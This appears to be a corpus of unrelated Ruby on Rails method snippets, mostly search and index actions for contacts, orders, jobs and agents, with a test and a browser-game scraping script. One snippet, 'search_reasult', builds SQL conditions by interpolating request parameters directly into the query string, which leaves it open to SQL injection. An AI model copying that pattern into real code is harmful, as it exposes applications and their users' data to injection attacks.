"def index\n @check_requests = CheckRequest.pending_approval\n .pending_rejection\n .with_agent(current_agent)\n .page(params[:page])\n .per(50)\n .order(verified: :desc, updated_at: :desc)\n\n @check_request_types = CheckRequestType.order(name: :asc)\n if params[:address_search]\n @check_requests = CheckRequest.where('apartment_address ILIKE ?', \"%#{params[:address_search]}%\").page(params[:page]).per(50)\n end\n\n if params[:vendor_search]\n @check_requests = CheckRequest.where('name ILIKE ?', \"%#{params[:vendor_search]}%\").page(params[:page]).per(50)\n end\n end",
"def search(appointments)\n if index_params[:search].present? && index_params[:search].size >= 3\n @filter = FILTERS[:search] # In case we're searching, use special filter\n @search = index_params[:search]\n return appointments.search_for(@search)\n end\n\n appointments\n end",
"def search_ledgers\n if params[:q].blank?\n GeneralLedger\n .order(created_at: :desc)\n .includes(:ledger_category, :financial_account,\n :training_request, :training_session)\n else\n GeneralLedger.search(params[:q])\n end\n end",
"def essence_search\n for_one_user { |name, agent|\n begin\n page = agent.get MARKET_URL\n fail \"Invalid page. Cookie is from web3 or web4?\" if page.forms.size == 1\n\n guilds = Array.new\n page.forms.each {|form|\n if form[\"guild_id\"]\n guilds << form[\"guild_id\"]\n end\n }\n\n # Loops through each guild and checks to see if they have attack or damage essence available\n guilds.each {|guild|\n page = agent.post(GUILD_URL, {'guild_id' => guild, 'ajax' => '1', 'ajax' => '1'})\n essence = page.parser.xpath(\"//span[@style='color:#ec8900;']\")\n #atks = essence[0].text.split(\"/\")\n #if (atks.length == 2 and atks[0].to_i + 200 <= atks[1].to_i)\n # avail_atk = atks[1].to_i - atks[0].to_i\n # puts \"#{avail_atk} atk available:\\n#{ESSENCE_URL}=#{guild}\"\n #end\n #defs = essence[1].text.split(\"/\")\n #if (defs.length == 2 and defs[0].to_i + 200 <= defs[1].to_i)\n # avail_def = defs[1].to_i - defs[0].to_i\n # puts \"#{avail_def} def available:\\n#{ESSENCE_URL}=#{guild}\"\n #end\n dmgs = essence[2].text.split(\"/\")\n if (dmgs.length == 2 and dmgs[0].to_i + 200 <= dmgs[1].to_i)\n avail_dmg = dmgs[1].to_i - dmgs[0].to_i\n puts \"#{avail_dmg} dmg available:\\n#{ESSENCE_URL}=#{guild}\"\n end\n }\n rescue Exception => ex\n puts \"Error in essence search. #{ex.class}, Message: #{ex.message}\"\n end\n }\n end",
"def homesearch\n #Fonctionne avec elasticsearch classique\n #@campings = Camping.custom_search((params[:q].present? ? params[:q] : '*'))\n #@campings = Camping.search((params[:q].present? ? params[:q] : '*'))\n # @campings = Camping.all\n # @campings = Camping.search(params[:q]) unless params[:q].blank?\n # @campings = @campings.piscine unless params[:nomdep].blank?\n # @camping = Departement.all\n # if params[:q].blank? || params[:nomdep].blank?\n # @campings = Camping.__elasticsearch__.search params[:nomdep]\n # else\n # end\n end",
"def index\n @enquiries = Enquiry.all\n end",
"def index\n @enquiries = Enquiry.all\n end",
"def search_passengers(search, academic_year_id)\n return [] unless search[:route_id].present?\n conditions = {:receiver_type => search[:passenger]}\n route_type = \"#{search[:route_type]}_route_id\".to_sym\n conditions[route_type] = search[:route_id]\n include = (search[:passenger] == \"Student\" ? {:receiver => {:batch => :course}} : {:receiver => :employee_department})\n stop_method = \"#{search[:route_type]}_stop\".to_sym\n Transport.in_academic_year(academic_year_id).all(:conditions => conditions, :include => [stop_method, include])\n end",
"def search(scope, _criteria)\n scope\n end",
"def index\n search = params[:term].present? ? params[:term] : nil\n @offers = if search\n Offer.search(search, where: { user_id: { not: current_user.id }})\n else\n Offer.all\n end\n @request = Request.new\n @ver_oferta_todas = Offer.where.not(:user_id => current_user.id)\n end",
"def index\n\t # @search = Referral.search(params[:q])\n \t# @referrals = @search.result\n @search = Referral.search(params[:q])\n @referrals = @search.result\n @jobs = Job.all\n end",
"def search_users(term, value)\n results = @users_indice.search(term: term, value: value)\n if perform_search_by_id?(term)\n results.each do |user|\n # Get related organizations\n user['organizations'] =\n @organizations_indice.search_by_primary_key(value: user['organization_id'])\n\n # Get submitted tickets related to user\n user['submitted_tickets'] =\n @tickets_indice.search(term: 'submitter_id', value: user['_id'])\n\n # Get assigned tickets related to user\n user['assigned_tickets'] =\n @tickets_indice.search(term: 'assignee_id', value: user['_id'])\n end\n end\n results\n end",
"def search(term)\n contacts = Contact.all\n person_data = nil\n contacts.each_with_index do |contact,index|\n if (contact.name.include? term) || (contact.email.include? term)\n person_data = []\n person_data[0] = index\n person_data[1] = contact \n end\n end\n person_data\n end",
"def index\n @search = Admins::Campaign.ransack(params[:q])\n @admins_campaigns = @search.result.includes(:election => :office).paginate(page: params[:page], per_page: 10)\n end",
"def find_contacts_advanced\n show_params(params)\n\n @person_query = params[:search][:person]\n @org_query = params[:search][:organisation]\n\n @role_ids = params[:search][:role_id_ids].select {|r| r != \"\"}.compact\n \n # Get country and region if they were chosen\n @country_id = @region_id = \"\"\n if params[:search][:country_id] and params[:search][:country_id] != \"\"\n @country_id = params[:search][:country_id]\n end\n if params[:search][:region_id] and params[:search][:region_id] != \"\"\n @region_id = params[:search][:region_id] \n end\n\n @valid_email = params[:search][:valid_email]\n @keywords_query = params[:search][:keywords]\n @modified_since = params[:search][:modified_since]\n \n @subcategory_filters = params[:category_filter].select {|v| !v.blank? }\n \n #This populates @contacts \n @found_contacts = search_by_name_and_organisation(@person_query, @org_query, @keywords_query)\n\n # Filter by subcategory\n if @subcategory_filters.length != 0\n @found_contacts = @found_contacts.select do |c|\n !@subcategory_filters.select do |f|\n c.marketing_subcategories.collect{|ms| ms.marketing_subcategory_id}.include?(f.to_i)\n end.empty?\n end\n end\n\n # Filter by role if a role is selected\n # FIXME: question for client: this returns all organisations that have\n # someone with the given role, if organisations are searched for. Is that\n # desired behaviour?\n if @role_ids.length != 0\n @found_contacts = @found_contacts.select do |c|\n c.roles.select {|r| @role_ids.include?(r.role_type_id.to_s) }.length > 0\n end\n end\n\n # Filter by country/region\n if @country_id != \"\" or @region_id != \"\"\n @found_contacts = @found_contacts.select do |c|\n if @region_id != \"\"\n c.regions.collect{|r| r.region_id }.include?(@region_id.to_i)\n elsif @country_id != \"\"\n c.countries.collect{|c| c.country_id }.include?(@country_id.to_i)\n else\n true\n end\n end\n end\n\n # Only show results with a valid e-mail address\n if @valid_email.to_i > 0\n @found_contacts = @found_contacts.select {|c| c.valid_email? }\n end\n\n # Only show contacts modified since the specified date\n if !@modified_since.blank?\n modified_since_time = Time.parse @modified_since\n @found_contacts = @found_contacts.select {|c| !c.updated_at.blank? and modified_since_time < c.updated_at }\n end\n\n session[:contacts_from_search] = @found_contacts\n \n render :layout => false\n \n end",
"def search\n @query = params[:q]\n @ads = Ad.within(@city, 30)\n @ads = @ads.fulltext_search(@query).group_by { |x| x.created_at.to_date }\n end",
"def index\n @q = Jobdemand.search(search_params)\n @jobdemands = @q\n .result\n end",
"def search\n @rooms = Room.available_in_range(@start_date, @end_date).group(:type).presence\n end",
"def fullsearch params = {}\n request(params.merge(:report_type => :phrase_fullsearch))\n end",
"def pearson_job_search\n\n end",
"def get_resolved_incidents\n # use status of incident as a filter\n res = RestClient.get INCIDENT_QUERY_URL, :params => { :status => \"resolved\", :fields => \"incident_number\" }\n end",
"def search(term)\n # TODO: Select the Contact instances from the 'MOCK_DATA.csv' file whose name or email attributes contain the search term.\n found_contacts = @@contacts.select do |contact|\n contact.name.downcase.include?(term.downcase) || contact.email.downcase.include?(term.downcase)\n end\n found_contacts\n\n end",
"def search_reports(method, query, &block)\n state = (query['state'] || 'CA').upcase\n county = (query['Co'] || query['county'] || query['co']).to_s\n county = county.strip\n county = COUNTIES[county] if county.size <= 4\n return if county == nil\n county = county.upcase\n remarks = \"\"\n if county =~ /^san bernardino|sb$/i && query['APN'].to_s.length == 12\n #apn = query['APN'].to_s.gsub(/(\\d{3})(\\d{3})(\\d{2})(0{4})?/,'0\\1-\\2-\\3')\n apn = \"0\".to_s + query['APN'].to_s\n if county =~ /^orange|oc$/i && query['APN'].to_s.length == 7\n apn = \"0\".to_s + query['APN'].to_s\n end\n else\n apn = query['APN'].to_s\n end\n query = {\n 'state' => state, 'apn_entered' => apn, 'county' => county\n }\n puts(\"Searching: %15s %20s\" % [apn, county]) #if @verbose\n if method == 0 or method == 3\n parse_reports(search_result(query),\n 'APN' => apn, 'State' => state, 'County' => county,\n &block)\n end\n if method == 1\n #query['Remarks'] = \"\"\n parse_reports_residential(run_search_residential(query),\n 'APN' => apn, 'State' => state, 'County' => county, 'Remarks' => remarks,\n &block)\n end\n if method == 2\n @methodtmp = 1\n parse_reportsAPN(search_resultAPN(query),\n 'APN' => apn, 'State' => state, 'County' => county, 'Remarks' => remarks,\n &block)\n end\n end",
"def contacts\n @contacts = Employee.by_company_id(params[:company_id]).by_search(params[:search]).by_contacts(current_user).paginate :page => params[:page]\n @active_employers = current_user.employers.active_employers.all\n end",
"def search\n return Developer.none if email.present? && prog_lang.present? && language_code.present?\n\n query = Developer.all\n query = query.where('email like :search_text', search_text: \"%#{sanitize_sql_like(email)}%\") if email.present?\n query = query.joins(:programming_languages).where(programming_languages: {name: prog_lang}) if prog_lang.present?\n query = query.joins(:languages).where(languages: {code: language_code}) if language_code.present?\n query.order(created_at: :desc)\n end",
"def index\n if params[:q]\n @occasions = Occasion.where(\"name like ?\", \"%#{params[:q]}%\")\n else\n @occasions = Occasion.all\n end\n end",
"def search_tickets( session_key, company_id, contact_id,\n vendor_id, product_id, status, owner_id,\n ticket_reference, client_reference,\n supplier_reference, company_reference,\n date_from, date_to, ticket_status, priority, free_text,\n page_size, page_num, tags)\n\n response_xml = self.call( :search_tickets, message: {\n arg0: session_key,\n arg1: company_id,\n arg2: contact_id,\n arg3: vendor_id,\n arg4: product_id,\n arg5: status,\n arg6: owner_id,\n arg7: ticket_reference,\n arg8: client_reference,\n arg9: supplier_reference,\n arg10: company_reference,\n arg11: date_from,\n arg12: date_to,\n arg13: ticket_status,\n arg14: priority,\n arg15: free_text,\n arg16: page_size,\n arg17: page_num,\n arg18: tags\n })\n response = IssueCentre::Response.parse( response_xml)\n end",
"def search(q)\n url = Boundary.api_url(@auth)+'/search'\n results = Array.new\n results = Boundary.get(url+\"?q=#{q}\")\n return nil if results.empty? \n case results['header']['hits'].to_i\n when 0\n return nil\n else\n return results['entities']\n end\n end",
"def essence_search\n options = {}\n OptionParser.new do |opts|\n opts.on(\"-a\", \"--[no-]attack\", \"Search for attack essence\") do |a|\n options[:attack] = a\n end\n\n opts.on(\"-d\", \"--[no-]damage\", \"Search for damage essence\") do |d|\n options[:damage] = d\n end\n\n opts.on(\"-e\", \"--[no-]defense\", \"Search for defense essence\") do |e|\n options[:defense] = e\n end\n\n opts.on(\"-h\", \"--[no-]health\", \"Search for health essence\") do |h|\n options[:health] = h\n end\n\n opts.on(\"-cCOOKIE\", \"--cookie=COOKIE\", \"End of login cookie\") do |c|\n options[:cookie_end] = c\n end\n\n end.parse!\n\n for_joshua_cmd(options[:cookie_end]) { |name, agent, |\n begin\n page = agent.get MARKET_URL\n fail \"Invalid page. Cookie is from web3 or web4?\" if page.forms.size == 1\n\n guilds = Array.new\n page.forms.each {|form|\n if form[\"guild_id\"]\n guilds << form[\"guild_id\"]\n end\n }\n\n # Loops through each guild and checks to see if they have attack or damage essence available\n guilds.each {|guild|\n page = agent.post(GUILD_URL, {'guild_id' => guild, 'ajax' => '1', 'ajax' => '1'})\n essence = page.parser.xpath(\"//span[@style='color:#ec8900;']\")\n if (options[:attack])\n atks = essence[0].text.split(\"/\")\n if (atks.length == 2 and atks[0].to_i + 200 <= atks[1].to_i)\n avail_atk = atks[1].to_i - atks[0].to_i\n puts \"#{avail_atk} atk available:\\n#{ESSENCE_URL}=#{guild}\"\n end\n end\n if (options[:defense])\n defs = essence[1].text.split(\"/\")\n if (defs.length == 2 and defs[0].to_i + 200 <= defs[1].to_i)\n avail_def = defs[1].to_i - defs[0].to_i\n puts \"#{avail_def} def available:\\n#{ESSENCE_URL}=#{guild}\"\n end\n end\n if (options[:damage])\n dmgs = essence[2].text.split(\"/\")\n if (dmgs.length == 2 and dmgs[0].to_i + 200 <= dmgs[1].to_i)\n avail_dmg = dmgs[1].to_i - dmgs[0].to_i\n puts \"#{avail_dmg} dmg available:\\n#{ESSENCE_URL}=#{guild}\"\n end\n end\n if (options[:health])\n heals = essence[3].text.split(\"/\")\n if (heals.length == 2 and heals[0].to_i + 200 <= heals[1].to_i)\n avail_heal = heals[1].to_i - heals[0].to_i\n puts \"#{avail_heal} health available:\\n#{ESSENCE_URL}=#{guild}\"\n end\n end\n }\n rescue Exception => ex\n puts \"Error in essence search. #{ex.class}, Message: #{ex.message}\"\n end\n }\n end",
"def search_for(*args, &block)\n __elasticsearch__.search(*args, &block)\n end",
"def relevant_agreements\n # All people including the data steward should be listed in the contributor, if allowed to contribute\n if user_signed_in?\n (_, @relevant_user_agreements) = get_search_results(:q =>filter_relevant_agreement, \n :sort=>sort_field, :rows=>5, :fields=>\"*:*\")\n end\n end",
"def search(url_params = nil, eds_params = nil)\n send_and_receive(url_params, eds_params)\n end",
"def email_search\n @contacts = []\n @search = params[:search]\n Facebase::Contact.on_each_shard{|p|\n if @search && !@search[:email].nil?\n @contacts.concat(p.limit(20).where(\"email_address like ?\",'%' + @search[:email] + '%'))\n else\n @contacts.concat(p.limit(20).all())\n end\n }\n respond_to do |format|\n format.html { render \"/facebase/contacts/index.html.erb\" }\n format.json { render json: @contacts }\n end\n end",
"def search_reasult(search_params)\n puts search_params\n # Available FBA States\n @fba_states = [[\"All\", nil], [\"Picking Line\", [\"rfp\", \"assign_for_pickup\"]], [\"Packing Line\", [\"picked_up\", \"assign_for_packup\"]], [\"Out For Delivery\", [\"delivery\", \"redelivery\"]], [\"Cancelled\", [\"cancel\"]], [\"Completed\", [\"complete\", \"customer_complete\", \"self_collect_complete\", \"collect_complete\", \"return_complete\"]]]\n @customer_pickup = false\n\n # Collect all search params if available\n if params[:order].present?\n @customer_pickup = params[:order][:is_pick_at_store] == \"true\" ? true : false\n @seller_id = params[:order][:seller_id]\n @market_place_id = params[:order][:market_place_id]\n @fba_state = params[:order][:fba_state]\n @formatted_state = @fba_state.tr('\"', '').gsub(\"[\",\"\").gsub(\"]\",\"\").split(\",\").map(&:lstrip) if @fba_state.present?\n @search_text = params[:order][:search_text]\n end\n\n # Initialize an array to collect the search query condition\n @query_conditions = []\n\n if params[:created_at_lt].present? && params[:created_at_gt].present?\n st_date = params[:created_at_gt].to_date.beginning_of_day\n end_date = params[:created_at_lt].to_date.end_of_day\n @query_conditions << \" order_date BETWEEN '#{st_date}' AND '#{end_date}'\"\n end\n\n # Check for all search parameters and create query conditions accordingly\n if @customer_pickup.present?\n @query_conditions << \"spree_line_items.is_pick_at_store = #{@customer_pickup}\"\n end\n if @market_place_id.present?\n @query_conditions << \" market_place_id = #{@market_place_id}\"\n end\n if @search_text.present?\n @query_conditions << \" (number like '%#{@search_text}%' OR market_place_order_no like '%#{@search_text}%' OR cart_no like '%#{@search_text}%' OR fulflmnt_tracking_no like '%#{@search_text}%' OR spree_addresses.firstname like '%#{@search_text}%' )\"\n end\n if @formatted_state.present?\n # Check for selected seller and collect his orders and match selected fba state\n if @seller_id.present?\n @seller = Spree::Seller.find(params[:order][:seller_id])\n @orders = @seller.orders.where(:fulflmnt_state => @formatted_state)\n else\n @orders = @orders.where(:fulflmnt_state => @formatted_state)\n end\n else\n if @seller_id.present?\n @seller = Spree::Seller.find(params[:order][:seller_id])\n @orders = @seller.orders\n end\n end\n\n # Combine all query conditions in single\n @query_conditions = @query_conditions.join(' and ')\n\n # Check for loged in user role\n if spree_current_user.has_spree_role?('seller')\n @market_places = spree_current_user.seller.market_places\n @seller = spree_current_user.try(:seller)\n @orders = @orders.includes(:line_items,:ship_address).where(\"\"+@query_conditions)\n else\n @sellers = Spree::Seller.all\n @market_places = Spree::MarketPlace.all\n @orders = @orders.includes(:line_items,:ship_address).where(\"\"+@query_conditions)\n end\n end",
"def find_all_events\n\n\t@event_searches = EventSearch.order('\"bandName\" ASC')\n\tj = 0\n\t\n\twhile j < @event_searches.length\n\tes = @event_searches[j]\n\t\n\tRails.logger.debug \"*****************\" \n\tRails.logger.debug(j)\n\tRails.logger.debug(es.bandName)\n\t\n\t#take this out in production\n\t#es = nil_fields_to_empty_strings(es)\n\t\n\tdo_search(es)\n\t\n\tRails.logger.debug \"*****************\" \n\tj += 1\n\n\tend\n end",
"def index\n @investigators = (@organization ? @organization.investigators : Investigator).search(params[:q], :page => params[:page], :total_entries => @total_entries)\n\n respond_to do |format|\n format.html {\n if @investigators.size == 0\n @organizations = Organization.search(params[:q], :page => params[:page])\n if @organizations.size > 0\n redirect_to organizations_path(params)\n end\n elsif params.key?(:q) and @investigators.size == 1\n redirect_to investigator_path(@investigators[0])\n end\n } # index.html.erb\n format.xml { render :xml => @investigators }\n end\n end",
"def index\n @q = params[:search_query]\n @departments = Department.all\n if @q.present? ? @q : nil\n #Employee.where(\"name ilike ?\",\"%#{search}%\")\n puts \"Your search is #{@q}\"\n @employees = Employee.search @q, fields: [\"department_name\",\"name\"], match: :word_start\n else\n @employees = Employee.all\n end\n end",
"def find(search_terms, acct=nil)\n []\n end",
"def search query\n @content = @reader.read if @content.nil?\n @content.select do |doc|\n rs = []\n query.terms.each do |term|\n if term.compare(doc.send(term.field))\n rs << true\n end\n end\n if query.relation == :and\n rs.count == query.terms.count\n else\n !rs.empty?\n end\n end\n end",
"def search_request(params)\n result = @client.connection.get(PATH, params)\n Yelp::Fusion::Error.check_for_error(result)\n result\n end",
"def index\n respond_with Official.search(official_search_params)\n end",
"def index\n @aoo_refs = AooRef.search(params, 50)\n end",
"def get_ack_incidents\n # use status of incident as a filter\n res = RestClient.get INCIDENT_QUERY_URL, :params => { :status => \"acknowledged\", :fields => \"incident_number\" }\n end",
"def search(params)\n filter_name, keywords, field_queries = extract params\n scope = filtered_by filter_name\n query = text_search keywords\n query = field_search field_queries, query\n scope.where query\n end",
"def search\n \n search_by_skill_flag = params['skills'].length > 1 || params['skills']['0']['id'].to_i > 0\n search_by_status_flag = params['statuses'].length > 1 || params['statuses']['0']['job'].to_i > 0\n\n type = 0\n type = 1 if search_by_skill_flag\n type = 2 if search_by_status_flag\n type = 3 if search_by_skill_flag && search_by_status_flag\n\n engineers = Engineer.all if type == 0\n engineers = search_by_skills_and_status() if type == 3\n engineers = search_by_status() if type == 2\n engineers = search_by_skills() if type == 1\n\n @engineers = engineers.page(params[:page])\n @skills = Skill.all\n @jobs = Job.all\n\n render :index\n\n end",
"def get_submissions\n puts \"== searching for whoishiring submissions ==\"\n @items ||= HiringTrends::ItemSearch.new.execute\n end",
"def search_people(searchterm,params={})\n @opensearch.search_people(searchterm,params) \n end",
"def search(options={})\n params = []\n options.each do |key, value|\n params << \"#{key}=#{value}\"\n end\n ethon = ethon_easy_json_requester\n ethon.url = uri_escape(\"#{base_api_url}search/query?#{params.join('&')}\")\n ethon.perform\n check_and_raise_failure(ethon)\n server_responded_at = Time.now\n {\n requested_url: ethon.url,\n server_responded_at: server_responded_at,\n results: parse_search_response(ethon.response_body)\n }\n end",
"def search(*args)\n search_provider.search(*args)\n end",
"def search_orgs(query, params = {})\n params.merge!(q: query)\n orgs(params)\n end",
"def index\n @enrollments = Enrollment.search(params[:tipo], params[:pesquisa], params[:status])\n end",
"def mailing_searches(id, params = {})\n get(\"/mailings/#{id}/searches\", params)\n end",
"def index\n @offers = Offer.where(company_id: params[:company_id]) \n if params[:search].present?\n @q = @company.offers.near(params[:search], 200, :order => 'distance' ).ransack(params[:q])\n @offers = @q.result(:distinct => true)\n else \n @q = @company.offers.ransack(params[:q])\n @offers = @q.result(:distinct => true)\n end\n end",
"def scan_all(*vars, &block)\n Query.elastics.scan_search(:get, self, *vars) do |result|\n block.call result.get_docs\n end\n end",
"def index\n @myjobs = Myjob.where(\"company like (?) OR experince =? Location like (?) OR technology like (?)\",\"#{params[:search_com]}\",\"#{params[:search_exp]}\",\"%#{params[:search_location]}%\",\"%#{params[:search_tec]}%\")\n conditions = []\n if params[:search_com].present?\n conditions[0] = \"company like (?)\"\n conditions << \"#{params[:search_com]}\"\n end\n if params[:search_exp].present?\n if conditions[0].present?\n conditions[0] += \" OR company like (?)\"\n else\n conditions[0] += \"company like (?)\"\n end\n conditions << \"#{params[:search_com]}\"\n end\n\n @myjobs = Myjob.where(conditions)\n # binding.pry\n end",
"def advanced_search\n if params[:name] || params[:location] || params[:user] || params[:content]\n query = create_advanced_search_query(params)\n else\n return if handle_advanced_search_invalid_q_param?\n\n query = find_query(:Observation)\n end\n show_selected_observations(query)\n rescue StandardError => e\n flash_error(e.to_s) if e.present?\n redirect_to(search_advanced_path)\n end",
"def search\n year = params[:year] ||= {}\n params[:duration] = \"30\" if params[:duration].nil?\n duration = params[:duration]\n subject_id = params[:subject_id] ||= {}\n query = search_hash year, subject_id\n reports = current_user.reports.desc(:exam_date).where(query).where(exam_date:Time.now.all_week()) if (duration == \"7\")\n reports = current_user.reports.desc(:exam_date).where(query).where(exam_date:Time.now.all_month()) if (duration == \"30\")\n reports = current_user.reports.desc(:exam_date).where(query).where(exam_date:Time.now.all_year()) if (duration == \"12\")\n return reports\n end",
"def invitation_search(q, limit=10)\n if q.present? and q.length > 1\n already_exists_ids = []\n already_exists_emails = []\n # add owner\n already_exists_ids << self.id\n # add colaborators\n if self.members.present?\n already_exists_ids << self.members.map{|x| x.member_id}\n end\n # add invitations\n pending = Invitation.pending_from_user(self.id)\n if pending.present?\n already_exists_emails << pending.map{|x| x.to_email}\n end\n\n already_exists_ids.flatten!\n already_exists_emails.flatten!\n\n users = User.any_of({first_name: /#{q}/i}, {last_name: /#{q}/i}, {email_no_domain: /#{q}/i}).limit(limit)\n if already_exists_ids.present? && already_exists_emails.present?\n users = users.not_in({id: already_exists_ids.uniq, email: already_exists_emails.uniq})\n elsif already_exists_ids.present?\n users = users.not_in({id: already_exists_ids.uniq})\n elsif already_exists_emails.present?\n users = users.not_in({email: already_exists_emails.uniq})\n end\n\n return users\n end\n end",
"def arches\n @arches ||= lipo.info\n end",
"def searches\n Boundary.get(@url)\n end",
"def index\n @investors = params[:q].present? ? Investor.search(params[:q]) : Investor.all\n @investors = @investors.includes(:investment_group, :consultant).ordered.\n page(params[:page]).references(:investment_group, :consultant)\n end",
"def query_issues(jql_criteria)\n url = \"#{@base_url}/rest/api/2/search\"\n jql_criteria[\"maxResults\"] = \"5\"\n comment = \"Searching Issues via jql: #{jql_criteria.inspect}\"\n options = [@login_options, {\"data\" => jql_criteria}].inject(:merge)\n result = rest_call(url, \"post\", options)\n #log result.inspect\n result\n end",
"def agreement_acceptances()\n return MicrosoftGraph::AgreementAcceptances::AgreementAcceptancesRequestBuilder.new(@path_parameters, @request_adapter)\n end",
"def index\r\n @equipment_scope = @equipment_scope.search_by(:materials, params[:materials_query])\r\n @equipment_scope = @equipment_scope.search_by(:capabilities, params[:capabilities_query])\r\n end",
"def test_agent_enquiries_by_property\n agent_id = Agents::Branches::AssignedAgent.last.id\n get :agent_enquiries_by_property, { agent_id: agent_id }\n earlier_response = Oj.load(@response.body)\n verification_status = true\n attach_agent_to_property_and_update_details(agent_id, SAMPLE_UDPRN, 'Green', \n verification_status, SAMPLE_BEDS, SAMPLE_BATHS, \n SAMPLE_RECEPTIONS)\n\n enquiry_count = 0\n\n Trackers::Buyer::ENQUIRY_EVENTS.each do |event|\n process_event_helper(event, @address_doc['_source'])\n @address_doc['_source'].delete('agent_id')\n get :agent_enquiries_by_property, { agent_id: agent_id }\n assert_response 200\n\n ### Check for the event\n response = Oj.load(@response.body)\n event_value = response.first[event.to_s]\n if event.to_s != 'viewing_stage'\n assert_equal event_value, 1\n end\n\n assert_equal response.length, (earlier_response.length + 1)\n\n ### Check for the property attrs of the body\n attrs = ['udprn', 'beds', 'baths', 'receptions']\n attrs.each do |attr_val|\n assert_equal response.first[attr_val], eval(\"SAMPLE_#{attr_val.upcase}\")\n end\n\n enquiry_count = enquiry_count + 1\n #### Check if the total number of enquiries are increasing\n assert_equal response.first['total_enquiries'], enquiry_count\n end\n\n other_events = ['offer_made_stage', 'deleted']\n other_events.each do |event|\n process_event_helper(event, @address_doc['_source'])\n get :agent_enquiries_by_property, { agent_id: agent_id }\n response = Oj.load(@response.body)\n event_value = response.first[event.to_s]\n assert_equal event_value, 1\n end\n\n total_trackings = 0\n Trackers::Buyer::TRACKING_EVENTS.each do |event|\n process_event_helper(event, @address_doc['_source'])\n get :agent_enquiries_by_property, { agent_id: agent_id }\n response = Oj.load(@response.body)\n count = response.first['trackings']\n total_trackings += 1\n assert_equal count, total_trackings\n end\n\n ### Test for verification status filter\n new_verification_status = !verification_status\n get :agent_enquiries_by_property, { agent_id: agent_id, verification_status: new_verification_status }\n assert_response 200\n response = Oj.load(@response.body)\n assert_equal response.length, 0\n\n new_verification_status = !new_verification_status\n get :agent_enquiries_by_property, { agent_id: agent_id, verification_status: new_verification_status }\n assert_response 200\n response = Oj.load(@response.body)\n assert_equal response.length, 1\n\n\n ### Test for property_status_type_filter\n property_status_type = 'Red'\n get :agent_enquiries_by_property, { agent_id: agent_id, property_status_type: property_status_type }\n assert_response 200\n response = Oj.load(@response.body)\n assert_equal response.length, 0\n\n property_status_type = 'Green'\n get :agent_enquiries_by_property, { agent_id: agent_id, property_status_type: property_status_type }\n assert_response 200\n response = Oj.load(@response.body)\n assert_equal response.length, 1\n\n create_rent_enquiry_event\n attach_agent_to_property_and_update_details(agent_id, '123456', 'Rent', \n verification_status, SAMPLE_BEDS, SAMPLE_BATHS, \n SAMPLE_RECEPTIONS)\n\n\n property_status_type = 'Rent'\n\n get :agent_enquiries_by_property, { agent_id: agent_id, property_status_type: property_status_type }\n assert_response 200\n response = Oj.load(@response.body)\n assert_equal response.length, 1\n destroy_rent_enquiry_event\n ### TODO: Agent details have to be verified as well\n end",
"def index\n if params[:employee] && params[:employee].key?(:q)\n q = params[:employee][:q]\n\n @employees = Employee.where('name LIKE ?', \"%#{q}%\").order('name ASC').paginate(:page => params[:page])\n else\n @employees = Employee.all.order('name ASC').paginate(:page => params[:page])\n end\n end",
"def index\n @quests = Quest.all\n\n unless params[\"search\"].nil?\n case params[\"search\"]\n when \"main\"\n @quests=Quest.where(quest_type: \"Main\")\n when \"item\"\n @quests=Quest.where(quest_type: \"Item\")\n when \"side\"\n @quests=Quest.where(quest_type: \"Side\")\n when \"cash\"\n @quests=Quest.where(quest_type: \"Cash\")\n end\n end\n end",
"def index\n if params[:mode] == 'add'\n unless current_user.try(:has_role?, 'Librarian')\n access_denied\n return\n end\n end\n query = params[:query].to_s.strip\n\n if query.size == 1\n query = \"#{query}*\"\n end\n\n @query = query.dup\n query = query.gsub(' ', ' ')\n order = nil\n @count = {}\n\n search = Agent.search(include: [:agent_type, :required_role])\n search.data_accessor_for(Agent).select = [\n :id,\n :full_name,\n :full_name_transcription,\n :agent_type_id,\n :required_role_id,\n :created_at,\n :updated_at,\n :date_of_birth\n ]\n set_role_query(current_user, search)\n\n if params[:mode] == 'recent'\n query = \"#{query} created_at_d:[NOW-1MONTH TO NOW]\"\n end\n if query.present?\n search.build do\n fulltext query\n end\n end\n\n unless params[:mode] == 'add'\n work = @work\n expression = @expression\n manifestation = @manifestation\n agent = @agent\n agent_merge_list = @agent_merge_list\n search.build do\n with(:work_ids).equal_to work.id if work\n with(:expression_ids).equal_to expression.id if expression\n with(:manifestation_ids).equal_to manifestation.id if manifestation\n with(:original_agent_ids).equal_to agent.id if agent\n with(:agent_merge_list_ids).equal_to agent_merge_list.id if agent_merge_list\n end\n end\n\n role = current_user.try(:role) || Role.default\n search.build do\n with(:required_role_id).less_than_or_equal_to role.id\n end\n\n page = params[:page].to_i || 1\n page = 1 if page.zero?\n search.query.paginate(page, Agent.default_per_page)\n @agents = search.execute!.results\n\n flash[:page_info] = { page: page, query: query }\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render xml: @agents }\n format.rss { render layout: false }\n format.atom\n format.json\n format.html.phone\n end\n end",
"def available_jobs\n @jobs = Job.all.select { |j| !j.agents.include?(current_user) && j.start_date >= Date.today }\n end",
"def possible_jobs\n \n\n job = params[:job].titleize\n location = params[:location].titleize\n\n results = Cb.job.search({ location: location,\n keywords: job })\n jobs = results.model.jobs\n @job_data = {\n job: job,\n location: location,\n job_results: jobs\n }\n end",
"def searches\n search_objects.map{ |s| s.query }\n end",
"def setup_invites_for_upcoming\n if( @upcoming_near_me.blank? )\n @upcoming_near_me = Invitation.search \"#{@current_city} #{@current_state} #{@current_country}\",:with => {:start_date => Time.now.utc..Time.now.utc.advance(:days => 1000),:is_public => 1,:deactivated => 0}, :without => {:purpose_id => 19}, :order => :id, :sort_mode => :desc\n #~ @upcoming_near_me = LookUp::meetings_for_upcoming_on_user_home(:city => @current_city, :state => @current_state, :country => @current_country) \n @invites_for_map = LookUp::invites_for_map_on_user_home(@upcoming_near_me.map(&:id))\n end\n end",
